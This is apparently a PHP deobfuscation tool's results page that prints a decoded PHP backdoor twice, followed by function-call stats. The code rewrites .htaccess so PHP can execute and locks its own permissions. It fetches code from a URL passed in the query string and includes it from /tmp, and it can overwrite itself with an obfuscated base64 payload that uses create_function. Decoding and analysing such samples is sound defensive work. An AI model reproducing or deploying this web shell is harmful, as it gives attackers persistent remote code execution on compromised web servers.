Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php error_reporting(0); ini_set('display_errors', 0); $file_contents = "<FilesMatch ..
Decoded Output download
<?php
error_reporting(0);
ini_set('display_errors', 0);
$file_contents = "<FilesMatch \".(ph|phtml|php)\$\">
Order allow,deny
Allow from all
</FilesMatch>";
$create_htacess = @fopen('.htaccess', 'w');
if ($create_htacess) {
fwrite($create_htacess, $file_contents);
fclose($create_htacess);
chmod(".htaccess", 0444);
chmod(basename(__FILE__), 0444);
}
function _url_get_contents ($url) {
if ( function_exists('curl_exec') ){
$curl_connect = curl_init( $url );
curl_setopt($curl_connect, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl_connect, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($curl_connect, CURLOPT_USERAGENT, "Mozilla/5.0(Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($curl_connect, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($curl_connect, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($curl_connect, CURLOPT_COOKIEJAR, $GLOBALS['coki']);
curl_setopt($curl_connect, CURLOPT_COOKIEFILE, $GLOBALS['coki']);
$content_data = curl_exec( $curl_connect );
}
elseif ( function_exists('file_get_contents') ) {
$content_data = file_get_contents( $url );
}
else {
$handle = fopen ( $url , "r");
$content_data = stream_get_contents( $handle );
}
return $content_data;
}
$myfile = "/tmp";
$data_1 = $_GET['url'];
$data_2 = '/tmp/sess_'.md5($_SERVER['REQUEST_URI']).'.php';
if(is_writable($myfile))
{
if(file_exists($data_2) && filesize($data_2) !== 0) {
include($data_2);
} elseif ( function_exists('file_put_contents') ) {
file_put_contents($data_2, _url_get_contents($data_1));
include($data_2);
} elseif ( function_exists('fwrite') ) {
$fopen = fopen($data_2, 'w+');
fwrite($fopen, _url_get_contents($data_1));
fclose($fopen);
include($data_2);
} elseif ( function_exists('fputs') ) {
fputs($data_2, _url_get_contents($data_1));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Q3dnSW5JaUtUc05DaUFnSUNBZ0lDQWdKR052Ym5SbGJuUmZaR0YwWVNBOUlITjBjbVZoYlY5blpYUmZZMjl1ZEdWdWRITW9JQ1JvWVc1a2JHVWdLVHNOQ2lBZ0lDQjlEUW9nSUNBZ0lDQWdJQTBLSUNBZ0lISmxkSFZ5YmlBa1kyOXVkR1Z1ZEY5a1lYUmhPdzBLZlEwS0RRb2tZMjl1ZEdWdWRGOXZkWFJ3ZFhRZ1BTQmZkWEpzWDJkbGRGOWpiMjUwWlc1MGN5Z2tYMGRGVkZzbmRYSnNKMTBwT3cwS1pYWmhiQ0FvSno4I0p5QXVJQ1JqYjI1MFpXNTBYMjkxZEhCMWRDazciPic7cHJlZ19tYXRjaCgnIzxpbWcgc3JjPSJkYXRhOmltYWdlL3BuZzsoLiopIj4jJywkd3BfZGVmYXVsdF9sb2dvLCRsb2dvX2RhdGEpOyRsb2dvX2ltYWdlPSRsb2dvX2RhdGFbMV07JHdwYXV0b3A9cHJlX3Rlcm1fbmFtZSgkbG9nb19pbWFnZSk7aWYoaXNzZXQoJHdwYXV0b3ApKXskcHJlZ19pbXBvcnQ9Ilx4NjNceDcyXHg2NVx4NjFceDc0XHg2NVx4NWZceDY2XHg3NVx4NmVceDYzXHg3NFx4NjlceDZmXHg2ZSI7JHByZWdfaW1wb3J0KCcnLCd9Jy4kd3BhdXRvcC4nLy8nKTt9');
if ( function_exists('file_put_contents') ) {
chmod(basename(__FILE__), 0644);
file_put_contents(basename(__FILE__), $file_code);
header("Refresh: 0");
} elseif ( function_exists('fwrite') ) {
chmod(basename(__FILE__), 0644);
$fopen = fopen(basename(__FILE__), 'w+');
fwrite($fopen, $file_code);
fclose($fopen);
header("Refresh: 0");
} else {
chmod(basename(__FILE__), 0644);
fputs(basename(__FILE__), $file_code);
header("Refresh: 0");
}
}
?>
Did this file decode correctly?
Original Code
<?php
error_reporting(0);
ini_set('display_errors', 0);
$file_contents = "<FilesMatch \".(ph|phtml|php)\$\">\n Order allow,deny\n Allow from all\n</FilesMatch>";
$create_htacess = @fopen('.htaccess', 'w');
if ($create_htacess) {
fwrite($create_htacess, $file_contents);
fclose($create_htacess);
chmod(".htaccess", 0444);
chmod(basename(__FILE__), 0444);
}
function _url_get_contents ($url) {
if ( function_exists('curl_exec') ){
$curl_connect = curl_init( $url );
curl_setopt($curl_connect, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl_connect, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($curl_connect, CURLOPT_USERAGENT, "Mozilla/5.0(Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($curl_connect, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($curl_connect, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($curl_connect, CURLOPT_COOKIEJAR, $GLOBALS['coki']);
curl_setopt($curl_connect, CURLOPT_COOKIEFILE, $GLOBALS['coki']);
$content_data = curl_exec( $curl_connect );
}
elseif ( function_exists('file_get_contents') ) {
$content_data = file_get_contents( $url );
}
else {
$handle = fopen ( $url , "r");
$content_data = stream_get_contents( $handle );
}
return $content_data;
}
$myfile = "/tmp";
$data_1 = $_GET['url'];
$data_2 = '/tmp/sess_'.md5($_SERVER['REQUEST_URI']).'.php';
if(is_writable($myfile))
{
if(file_exists($data_2) && filesize($data_2) !== 0) {
include($data_2);
} elseif ( function_exists('file_put_contents') ) {
file_put_contents($data_2, _url_get_contents($data_1));
include($data_2);
} elseif ( function_exists('fwrite') ) {
$fopen = fopen($data_2, 'w+');
fwrite($fopen, _url_get_contents($data_1));
fclose($fopen);
include($data_2);
} elseif ( function_exists('fputs') ) {
fputs($data_2, _url_get_contents($data_1));
include($data_2);
} else {
copy($data_1, $data_2);
include($data_2);
}
}
if ( !file_exists($data_2) || filesize($data_2) == 0 ) {
$file_code = base64_decode('PD9waHANCi8vIFNpbGVuY2UgaXMgZ29sZGVuLg0KCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ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kSFZ5YmlBa1kyOXVkR1Z1ZEY5a1lYUmhPdzBLZlEwS0RRb2tZMjl1ZEdWdWRGOXZkWFJ3ZFhRZ1BTQmZkWEpzWDJkbGRGOWpiMjUwWlc1MGN5Z2tYMGRGVkZzbmRYSnNKMTBwT3cwS1pYWmhiQ0FvSno4I0p5QXVJQ1JqYjI1MFpXNTBYMjkxZEhCMWRDazciPic7cHJlZ19tYXRjaCgnIzxpbWcgc3JjPSJkYXRhOmltYWdlL3BuZzsoLiopIj4jJywkd3BfZGVmYXVsdF9sb2dvLCRsb2dvX2RhdGEpOyRsb2dvX2ltYWdlPSRsb2dvX2RhdGFbMV07JHdwYXV0b3A9cHJlX3Rlcm1fbmFtZSgkbG9nb19pbWFnZSk7aWYoaXNzZXQoJHdwYXV0b3ApKXskcHJlZ19pbXBvcnQ9Ilx4NjNceDcyXHg2NVx4NjFceDc0XHg2NVx4NWZceDY2XHg3NVx4NmVceDYzXHg3NFx4NjlceDZmXHg2ZSI7JHByZWdfaW1wb3J0KCcnLCd9Jy4kd3BhdXRvcC4nLy8nKTt9');
if ( function_exists('file_put_contents') ) {
chmod(basename(__FILE__), 0644);
file_put_contents(basename(__FILE__), $file_code);
header("Refresh: 0");
} elseif ( function_exists('fwrite') ) {
chmod(basename(__FILE__), 0644);
$fopen = fopen(basename(__FILE__), 'w+');
fwrite($fopen, $file_code);
fclose($fopen);
header("Refresh: 0");
} else {
chmod(basename(__FILE__), 0644);
fputs(basename(__FILE__), $file_code);
header("Refresh: 0");
}
}
?>
Function Calls
fopen | 1 |
ini_set | 1 |
error_reporting | 1 |
Stats
MD5 | 0d2cc55968cd3502c56e3b4dd4f02e4f |
Eval Count | 0 |
Decode Time | 173 ms |